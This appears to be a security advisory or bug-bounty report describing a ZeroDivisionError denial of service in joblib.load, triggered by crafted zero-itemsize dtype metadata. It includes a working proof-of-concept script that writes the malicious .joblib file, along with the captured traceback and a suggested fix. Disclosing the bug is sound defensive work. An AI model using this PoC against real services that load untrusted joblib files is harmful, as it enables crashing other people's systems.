| # joblib.load DoS: ZeroDivisionError in read_array from attacker-controlled itemsize-0 dtype metadata |
| |
| **Target:** `joblib` (PyPI package `joblib`) |
| **Verified version:** joblib 1.5.2, numpy 2.3.5, CPython 3.13 (Kali). Vulnerable line is unchanged on joblib `main`. |
| **Vulnerable file/line:** `joblib/numpy_pickle.py`, `NumpyArrayWrapper.read_array`, line 191. |
| **Impact:** Denial of service (unhandled `ZeroDivisionError`) on `joblib.load()` of an untrusted `.joblib` file. Not memory corruption or RCE. |
| **Class:** CWE-369 (Divide By Zero) reachable from untrusted deserialization metadata. |
| |
| --- |
| |
| ## Root cause |
| |
| In `joblib/numpy_pickle.py`, `NumpyArrayWrapper.read_array` computes a read-chunk count by dividing the buffer size by the dtype item size, with **no guard against a zero itemsize**: |
| |
| ```python |
| # joblib/numpy_pickle.py (line ~191, NumpyArrayWrapper.read_array) |
| max_read_count = BUFFER_SIZE // min(BUFFER_SIZE, self.dtype.itemsize) |
| ``` |
| |
| `self.dtype` is **attacker-controlled metadata** carried inside the pickled `NumpyArrayWrapper`. A non-object numpy dtype whose `itemsize` is 0 — e.g. `np.dtype('V0')`, a zero-length void — has `hasobject == False`, so `read_array` takes the raw-array `else` branch and evaluates `min(BUFFER_SIZE, 0) == 0` as the divisor. This raises `ZeroDivisionError` **before any array data is read**. |
| |
| The crash is **count-independent**: it fires for shape `(0,)` and `(1,)` alike, because the division happens before the read loop. |
| |
| ### Asymmetry with the write side (confirms the missing check) |
| |
| The WRITE path already guards the exact same division. In `write_array` (line ~126): |
|
|
| ```python |
| # joblib/numpy_pickle.py (line ~126, write_array) |
| buffersize = max(16 * 1024 ** 2 // array.itemsize, 1) |
| ``` |
|
|
| The `max(..., 1)` floor prevents a zero divisor on write. The READ side has no equivalent floor — an asymmetry that pinpoints the missing guard. |
|
|
| ### Reachability from the public loader |
|
|
| `joblib.load()` -> `_unpickle` -> `NumpyUnpickler.load_build` (overrides pickle `BUILD`) -> `array_wrapper.read` -> `read_array`. So a crafted `.joblib` file crashes the documented public loader. **No pickle `__reduce__` gadget is involved** — the crash comes purely from the array metadata joblib itself trusts and dereferences. |
| |
| --- |
| |
| ## PoC |
| |
| Craft a joblib file whose array placeholder claims a zero-itemsize dtype: |
| |
| ```python |
| import numpy as np, pickle, joblib |
| from joblib.numpy_pickle import NumpyArrayWrapper |
| |
| w = NumpyArrayWrapper(np.ndarray, shape=(1,), order='C', |
| dtype=np.dtype('V0'), allow_mmap=False) |
| open('poc_v0.joblib', 'wb').write(pickle.dumps(w, protocol=5)) |
| |
| joblib.load('poc_v0.joblib') # -> ZeroDivisionError at numpy_pickle.py:191 |
| ``` |
| |
| The file is a plain pickle stream containing a `NumpyArrayWrapper` with `dtype V0`. joblib's `NumpyUnpickler` overrides `BUILD`, reconstructs the wrapper, and calls `read_array`, which divides by `min(BUFFER_SIZE, itemsize) == 0`. |
| |
| --- |
| |
| ## Captured evidence (verbatim, real `joblib.load()` execution) |
| |
| ``` |
| dtype V0 itemsize = 0 hasobject = False |
| Traceback (most recent call last): |
| File ".../joblib/numpy_pickle.py", line 749, in load |
| obj = _unpickle(fobj, ...) |
| File ".../joblib/numpy_pickle.py", line 626, in _unpickle |
| obj = unpickler.load() |
| File "/usr/lib/python3.13/pickle.py", line 1256, in load |
| dispatch[key[0]](self) |
| File ".../joblib/numpy_pickle.py", line 462, in load_build |
| _array_payload = array_wrapper.read(self, self.ensure_native_byte_order) |
| File ".../joblib/numpy_pickle.py", line 284, in read |
| array = self.read_array(unpickler, ensure_native_byte_order) |
| File ".../joblib/numpy_pickle.py", line 191, in read_array |
| max_read_count = BUFFER_SIZE // min(BUFFER_SIZE, self.dtype.itemsize) |
| ~~~~~~~~~~~~^^~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ |
| ZeroDivisionError: integer division or modulo by zero |
| ``` |
| |
| ### Negative controls (same run) |
| |
| ``` |
| control1 legit np.arange dump/load roundtrip OK, equal = True |
| control2 identical craft path with VALID dtype 'u1' shape (0,) -> array([], dtype=uint8) (loads fine) |
| variant v0 shape (0,) -> ZeroDivisionError (proves count-independent, pre-loop) |
| ``` |
| |
| `control2` isolates the cause: the same crafting method with a valid dtype loads cleanly, so the crash is specifically the itemsize-0 dtype metadata, not the way the file was built. |
| |
| --- |
| |
| ## Suggested fix |
| |
| Floor the divisor on the read side to mirror the write side, e.g.: |
| |
| ```python |
| max_read_count = BUFFER_SIZE // max(min(BUFFER_SIZE, self.dtype.itemsize), 1) |
| ``` |
| |
| or explicitly reject a zero/negative itemsize dtype before entering the read loop. |
| |
| --- |
| |
| ## Dedup / prior art |
| |
| - **Distinct from the three joblib scanner-bypass reports** (stopbyte `0x2e`-STOP, numeric-genops multi-array, numpy-ctypeslib). Those are `modelscan` pickle-layer false-negatives. This is a crash inside joblib's **own** `read_array` metadata handling, independent of any scanner, with **no** pickle reduce gadget. |
| - **Distinct from CVE-2024-34997** (joblib pickle `__reduce__` RCE primitive) — that requires a reduce gadget; this fires purely from trusted array metadata. |
| - **No public report found** for a joblib `read_array` itemsize-0 `ZeroDivisionError`. The vulnerable line is unchanged on joblib `main`; the write/read guard asymmetry (write line ~126 uses `max(..., 1)`) is public but unremarked. |
| - **Related read_array paths characterized but weaker** (not the primary): subarray dtype `('f8',(2,))` yields an unhandled `ValueError` (reshape mismatch); a huge shape yields numpy's guarded `MemoryError` (over-alloc is validated by numpy, not memory-unsafe). The itemsize-0 `ZeroDivisionError` is the clean, deterministic primary. |
| |
| ## Scope note |
| |
| `joblib.load` is already documented as unsafe for untrusted pickle input. The security boundary here is that a **crash is reachable from pure array metadata before any reduce gadget executes** — i.e. metadata joblib itself parses and trusts triggers an unhandled exception. Impact is denial-of-service, not memory corruption or RCE. |
| |